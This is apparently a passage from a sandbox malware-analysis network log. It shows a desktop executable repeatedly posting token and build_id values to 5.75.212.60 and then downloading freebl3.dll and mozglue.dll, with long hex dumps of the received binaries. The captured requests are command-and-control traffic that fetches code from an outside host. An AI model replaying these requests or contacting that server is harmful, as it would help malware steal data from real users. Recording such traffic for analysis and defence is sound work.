2024-07-26 09:26:38 UTC	16384	IN	Data Raw: c4 18 5f 5e 5d 5b 59 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc Data Ascii: _^][YVt$W\|$FVBhtw7t7Vg_^jjjh,g!t$
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: 2c ff 46 2c 5e c3 8b 4c 24 0c 33 d2 8b 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b Data Ascii: ,F,^L$3qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$
2024-07-26 09:26:38 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49722	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:41 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HIJJEGDBFIIDGCAKJEBK User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:41 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 4a 4a 45 47 44 42 46 49 49 44 47 43 41 4b 4a 45 42 4b 0d 0a 43 6f 6e 74 Data Ascii: ------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------HIJJEGDBFIIDGCAKJEBKContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------HIJJEGDBFIIDGCAKJEBKCont
2024-07-26 09:26:41 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:41 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49723	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:42 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AAKEGIJEHJDGDHJKJKKJ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:42 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 41 41 4b 45 47 49 4a 45 48 4a 44 47 44 48 4a 4b 4a 4b 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------AAKEGIJEHJDGDHJKJKKJContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------AAKEGIJEHJDGDHJKJKKJCont
2024-07-26 09:26:43 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:43 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49725	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:43 UTC	322	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBFCAEBFIJJKFHDAEC User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:43 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 36 61 63 33 36 36 62 65 31 32 37 65 35 63 39 37 39 37 30 33 34 33 35 38 38 36 64 64 39 62 65 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 65 30 63 39 39 65 39 66 66 30 62 39 35 33 35 35 65 38 65 63 31 39 63 35 34 38 61 62 30 66 38 33 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 46 43 41 45 42 46 49 4a 4a 4b 46 48 44 41 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="token"d6ac366be127e5c979703435886dd9be------JJDBFCAEBFIJJKFHDAECContent-Disposition: form-data; name="build_id"e0c99e9ff0b95355e8ec19c548ab0f83------JJDBFCAEBFIJJKFHDAECCont
2024-07-26 09:26:44 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-07-26 09:26:44 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49729	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:44 UTC	241	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:45 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:45 GMT Content-Type: application/octet-stream Content-Length: 685392 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:45 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:45 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHS
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: ff 13 bd 10 ff ff ff 01 c8 89 45 b4 11 df 89 7d c8 89 f2 31 fa 8b 4d 98 31 c1 89 ce 0f a4 d6 10 89 b5 58 ff ff ff 0f ac d1 10 89 4d 98 8b 7d ec 01 cf 89 7d ec 8b 55 e0 11 f2 89 55 e0 31 d3 8b 4d 8c 31 f9 89 da 0f a4 ca 01 89 55 88 0f a4 d9 01 89 4d 8c 8b 5d d4 03 9d 20 ff ff ff 8b 45 cc 13 85 48 ff ff ff 03 5d 94 13 45 9c 89 45 cc 8b bd 7c ff ff ff 31 c7 8b 45 a8 31 d8 89 45 a8 8b 4d c4 01 f9 89 4d c4 8b 75 bc 11 c6 89 75 bc 8b 55 94 31 ca 8b 4d 9c 31 f1 89 d0 0f a4 c8 08 0f a4 d1 08 89 4d 9c 03 9d 04 ff ff ff 8b 75 cc 13 b5 08 ff ff ff 01 cb 89 5d d4 11 c6 89 75 cc 8b 4d a8 31 f1 31 df 89 fa 0f a4 ca 10 89 55 94 0f ac cf 10 89 bd 7c ff ff ff 8b 75 c4 01 fe 89 75 c4 8b 4d bc 11 d1 89 4d bc 31 c8 8b 5d 9c 31 f3 89 c1 0f a4 d9 01 89 8d 78 ff ff ff 0f a4 c3 Data Ascii: E}1M1XM}}UU1M1UM] EH]EE\|1E1EMMuuU1M1Mu]uM11U\|uuMM1]1x
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: 08 89 88 90 00 00 00 31 d6 89 b0 9c 00 00 00 89 90 98 00 00 00 8b 4d e8 89 fa 31 ca c1 c2 08 31 d1 89 d6 89 88 a4 00 00 00 8b 4d d8 8b 55 d4 31 ca c1 c2 08 89 b0 a0 00 00 00 31 d1 89 88 ac 00 00 00 89 90 a8 00 00 00 8b 4d c0 8b 55 c4 31 d1 c1 c1 08 31 ca 89 90 b4 00 00 00 8b 95 54 ff ff ff 8b 75 bc 31 d6 c1 c6 08 89 88 b0 00 00 00 31 f2 89 90 bc 00 00 00 89 b0 b8 00 00 00 81 c4 d8 00 00 00 5e 5f 5b 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 81 ec 00 01 00 00 89 95 78 ff ff ff 89 cf ff 31 e8 a2 90 07 00 83 c4 04 89 45 bc ff 77 04 e8 94 90 07 00 83 c4 04 89 45 b8 ff 77 08 e8 86 90 07 00 83 c4 04 89 45 c0 ff 77 0c e8 78 90 07 00 83 c4 04 89 45 dc ff 77 10 e8 6a 90 07 00 83 c4 04 89 c6 ff 77 14 e8 5d 90 07 00 83 c4 04 89 c3 ff 77 18 e8 50 90 Data Ascii: 1M11MU11MU11Tu11^_[]USWVx1EwEwEwxEwjw]wP
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: 83 c4 0c 8a 87 18 01 00 00 30 03 8a 87 19 01 00 00 30 43 01 8a 87 1a 01 00 00 30 43 02 8a 87 1b 01 00 00 30 43 03 8a 87 1c 01 00 00 30 43 04 8a 87 1d 01 00 00 30 43 05 8a 87 1e 01 00 00 30 43 06 8a 87 1f 01 00 00 30 43 07 8a 87 20 01 00 00 30 43 08 8a 87 21 01 00 00 30 43 09 8a 87 22 01 00 00 30 43 0a 8a 87 23 01 00 00 30 43 0b 8a 87 24 01 00 00 30 43 0c 8a 87 25 01 00 00 30 43 0d 8a 87 26 01 00 00 30 43 0e 8a 87 27 01 00 00 30 43 0f 0f 10 45 e0 0f 11 87 18 01 00 00 8b 4d f0 31 e9 e8 ad 4e 07 00 31 c0 83 c4 1c 5e 5f 5b 5d c3 cc cc cc 55 89 e5 68 28 01 00 00 e8 42 50 07 00 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 53 57 56 83 ec 24 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 85 c9 74 50 8b 45 10 8d 50 f0 83 fa 10 77 45 be 01 01 01 00 0f Data Ascii: 00C0C0C0C0C0C0C 0C!0C"0C#0C$0C%0C&0C'0CEM1N1^_[]Uh(BP]USWV$M01EtPEPwE
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: e6 fc 03 00 00 33 8e 70 3b 08 10 8b 75 e0 89 5e 1c c1 e8 18 33 0c 85 70 3f 08 10 89 56 20 8b 45 f0 8b 5d ec 29 d8 05 33 37 ef c6 0f b6 d4 8b 14 95 70 37 08 10 0f b6 f0 33 14 b5 70 33 08 10 89 c6 c1 ee 0e 81 e6 fc 03 00 00 33 96 70 3b 08 10 8b 75 e0 89 7e 24 c1 e8 18 33 14 85 70 3f 08 10 89 4e 28 89 56 2c 8b 45 e8 89 c7 0f a4 df 08 0f a4 c3 08 89 5d ec 8b 45 e4 01 f8 05 99 91 21 72 0f b6 cc 8b 0c 8d 70 37 08 10 0f b6 d0 33 0c 95 70 33 08 10 89 c2 c1 ea 0e 81 e2 fc 03 00 00 33 8a 70 3b 08 10 c1 e8 18 33 0c 85 70 3f 08 10 89 4e 30 8b 75 f0 89 f1 29 d9 81 c1 67 6e de 8d 0f b6 c5 8b 04 85 70 37 08 10 0f b6 d1 33 04 95 70 33 08 10 89 ca c1 ea 0e 81 e2 fc 03 00 00 33 82 70 3b 08 10 c1 e9 18 33 04 8d 70 3f 08 10 89 f1 8b 55 e4 0f a4 d6 18 89 75 e8 0f ac d1 08 89 Data Ascii: 3p;u^3p?V E])37p73p33p;u~$3p?N(V,E]E!rp73p33p;3p?N0u)gnp73p33p;3p?Uu
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: c7 45 bc 00 00 00 00 8d 45 e0 50 e8 04 5a 04 00 83 c4 04 85 c0 89 7d a8 0f 88 d4 01 00 00 8d 45 d0 50 e8 ed 59 04 00 83 c4 04 85 c0 0f 88 c0 01 00 00 8d 45 c0 50 e8 d9 59 04 00 83 c4 04 85 c0 0f 88 ac 01 00 00 8d 45 b0 50 e8 c5 59 04 00 83 c4 04 89 c3 85 c0 0f 88 98 01 00 00 8d 46 04 8b 4d ac 83 c1 04 50 51 57 e8 ae d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 7c 01 00 00 8b 45 ac ff 70 0c ff 70 08 8d 45 c0 50 e8 48 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 5b 01 00 00 8d 46 10 8b 4d ac 83 c1 10 50 51 ff 75 a8 e8 6f d0 06 00 83 c4 0c 89 c7 85 c0 0f 85 3d 01 00 00 8b 45 ac ff 70 18 ff 70 14 8d 45 e0 50 e8 09 d7 04 00 83 c4 0c 89 c3 85 c0 0f 88 1c 01 00 00 8b 4e 0c b8 40 00 00 00 81 f9 7f 07 00 00 77 2c b8 30 00 00 00 81 f9 bf 03 00 00 77 1f b8 20 00 00 00 81 f9 7f 01 00 Data Ascii: EEPZ}EPYEPYEPYFMPQW\|EppEPH[FMPQuo=EppEPN@w,0w
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: 44 24 70 50 e8 5b 1c 04 00 83 c4 04 8d 44 24 60 50 e8 4e 1c 04 00 83 c4 04 8d 44 24 50 50 e8 41 1c 04 00 83 c4 04 8d 44 24 40 50 e8 34 1c 04 00 83 c4 04 8d 44 24 30 50 e8 27 1c 04 00 83 c4 04 8d 44 24 20 50 e8 1a 1c 04 00 83 c4 04 83 c6 04 83 fe 04 77 1a b8 13 e0 ff ff ff 24 b5 74 55 08 10 b8 05 e0 ff ff eb 0c b8 02 e0 ff ff eb 05 b8 01 e0 ff ff 50 e8 7d 90 06 00 83 c4 04 e9 75 fb ff ff cc cc 55 89 e5 53 57 56 81 ec ac 00 00 00 89 cb 8b 4d 0c a1 b4 30 0a 10 31 e8 89 45 f0 8b 73 08 83 c6 07 c1 ee 03 85 c9 74 1b 8b 41 04 80 38 04 0f 85 c2 01 00 00 8d 04 36 83 c0 01 39 41 08 0f 85 b3 01 00 00 89 95 48 ff ff ff c7 45 ec 00 00 00 00 c7 45 dc 00 00 00 00 c7 45 cc 00 00 00 00 c7 45 bc 00 00 00 00 c7 45 ac 00 00 00 00 c7 45 9c 00 00 00 00 c7 45 8c 00 00 00 00 c7 Data Ascii: D$pP[D$`PND$PPAD$@P4D$0P'D$ Pw$tUP}uUSWVM01EstA869AHEEEEEEE
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: 89 f8 f7 65 c8 89 55 84 89 85 0c fd ff ff 89 f8 f7 65 c4 89 95 4c fd ff ff 89 85 58 fd ff ff 89 f8 f7 65 d4 89 95 ac fd ff ff 89 85 b4 fd ff ff 89 f8 f7 65 d8 89 95 30 fe ff ff 89 85 40 fe ff ff 89 f8 f7 65 e4 89 95 a0 fe ff ff 89 85 a4 fe ff ff 89 f8 f7 65 e0 89 95 c4 fe ff ff 89 85 cc fe ff ff 89 f8 f7 65 dc 89 95 ec fe ff ff 89 85 f0 fe ff ff 89 d8 f7 e7 89 95 10 ff ff ff 89 85 18 ff ff ff 8b 75 94 89 f0 f7 65 9c 89 85 30 fd ff ff 89 55 88 8b 45 c8 8d 14 00 89 f0 f7 e2 89 95 90 fd ff ff 89 85 98 fd ff ff 89 f0 f7 65 c4 89 95 f0 fd ff ff 89 85 f8 fd ff ff 89 f0 f7 65 90 89 55 90 89 85 9c fe ff ff 89 f0 f7 65 d8 89 95 b8 fe ff ff 89 85 bc fe ff ff 89 f0 f7 65 ec 89 95 e4 fe ff ff 89 85 e8 fe ff ff 89 f0 f7 65 e0 89 95 20 ff ff ff 89 85 24 ff ff ff 89 f0 Data Ascii: eUeLXee0@eeeue0UEeeUeee $
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: 4f 34 89 4d e4 8b 4f 30 89 4d d4 8b 4f 2c 89 4d bc 8b 4f 28 89 4d a8 89 75 c8 89 45 d8 8b 47 24 89 45 c0 8b 77 20 89 75 ac 8b 4f 08 89 4d e0 89 f8 89 7d ec 8b 5d a8 01 d9 8b 3f 01 f7 89 7d cc 8b 70 04 13 75 c0 89 75 b8 83 d1 00 89 4d d0 0f 92 45 b4 8b 70 0c 8b 55 bc 01 d6 8b 48 10 8b 45 d4 11 c1 0f 92 45 90 01 d6 11 c1 0f 92 45 e8 01 c6 89 45 d4 13 4d e4 0f 92 45 f0 01 5d e0 0f b6 7d b4 8d 04 06 11 c7 0f 92 45 b4 8b 45 c0 01 45 cc 11 5d b8 8b 45 bc 8b 55 d0 8d 1c 02 83 d3 00 89 5d e0 0f 92 c3 01 c2 0f b6 db 8b 45 e4 8d 14 07 11 d3 89 5d d0 0f 92 c2 03 75 d4 0f b6 45 b4 8b 5d e4 8d 34 19 11 f0 89 45 9c 0f 92 45 a4 01 df 0f b6 d2 8b 75 c8 8d 34 30 11 f2 0f 92 45 df 80 45 90 ff 8b 75 ec 8b 46 14 89 45 94 8d 04 03 89 df 83 d0 00 89 45 b4 0f 92 45 98 80 45 e8 Data Ascii: O4MO0MO,MO(MuEG$Ew uOM}]?}puuMEpUHEEEEME]}EEE]EU]E]uE]4EEu40EEuFEEEE
2024-07-26 09:26:45 UTC	16384	IN	Data Raw: ee 1a 01 c2 89 95 08 ff ff ff 8b bd 2c ff ff ff 89 f8 81 e7 ff ff ff 01 8d 0c fe 89 d6 c1 ee 1d 01 f1 89 8d 04 ff ff ff c1 e8 19 8b bd 30 ff ff ff 89 fe 81 e7 ff ff ff 03 8d 3c f8 89 c8 c1 e8 1c 01 c7 c1 ee 1a 8b 9d 34 ff ff ff 89 d8 81 e3 ff ff ff 01 8d 1c de 89 fe c1 ee 1d 01 f3 c1 e8 19 8b b5 38 ff ff ff 89 f1 81 e6 ff ff ff 03 8d 04 f0 89 de c1 ee 1c 01 f0 89 c6 25 ff ff ff 1f 89 85 38 ff ff ff c1 e9 1a c1 ee 1d 8d 04 0e 01 f1 83 c1 ff 89 8d 14 ff ff ff 8b 8d 0c ff ff ff c1 e1 03 81 e1 f8 ff ff 1f 8d 0c 41 89 8d 18 ff ff ff 8b b5 10 ff ff ff 81 e6 ff ff ff 0f 89 c1 c1 e1 0b 29 ce 8b 8d 14 ff ff ff c1 e9 1f 89 8d 14 ff ff ff 83 c1 ff 89 ca 81 e2 00 00 00 10 01 d6 89 b5 24 ff ff ff 8b b5 08 ff ff ff 81 e6 ff ff ff 1f 89 ca 81 e2 ff ff ff 1f 01 d6 89 b5 Data Ascii: ,0<48%8A)$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49731	5.75.212.60	443	5012	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-26 09:26:46 UTC	241	OUT	GET /mozglue.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 YaBrowser/24.6.0.1 Safari/537.36 Host: 5.75.212.60 Connection: Keep-Alive Cache-Control: no-cache
2024-07-26 09:26:47 UTC	260	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 26 Jul 2024 09:26:47 GMT Content-Type: application/octet-stream Content-Length: 608080 Connection: close Last-Modified: Friday, 26-Jul-2024 09:26:47 GMT Cache-Control: no-store, no-cache Accept-Ranges: bytes
2024-07-26 09:26:47 UTC	16124	IN	Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W,
2024-07-26 09:26:47 UTC	16384	IN	Data Raw: 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 31 ff ff ff 8d 41 24 50 e8 fb 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc e9 62 ff ff ff 8d 41 24 50 e8 df 7e 01 00 83 c4 04 89 c1 83 c0 23 83 e0 e0 89 48 fc eb 92 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 89 e5 56 8b 75 0c 8b 8e b0 00 00 00 83 f9 10 0f 83 e4 00 00 00 c7 86 ac 00 00 00 00 00 00 00 c7 86 b0 00 00 00 0f 00 00 00 c6 86 9c 00 00 00 00 8b 8e 98 00 00 00 83 f9 10 0f 83 e0 00 00 00 c7 86 94 00 00 00 00 00 00 00 c7 86 98 00 00 00 0f 00 00 00 c6 86 84 00 00 00 00 8b 8e 80 00 00 00 83 f9 10 0f 83 dc 00 00 00 c7 46 7c 00 00 00 00 c7 86 80 00 00 00 0f 00 00 00 c6 46 6c 00 8b 4e 68 83 f9 10 0f 83 de 00 00 00 c7 46 64 00 00 00 00 c7 46 68 0f 00 00 00 c6 46 54 00 8b 4e 50 83 f9 10 0f 83 e3 00 00 00 c7 46 Data Ascii: #H1A$P~#HbA$P~#HUVuF\|FlNhFdFhFTNPF
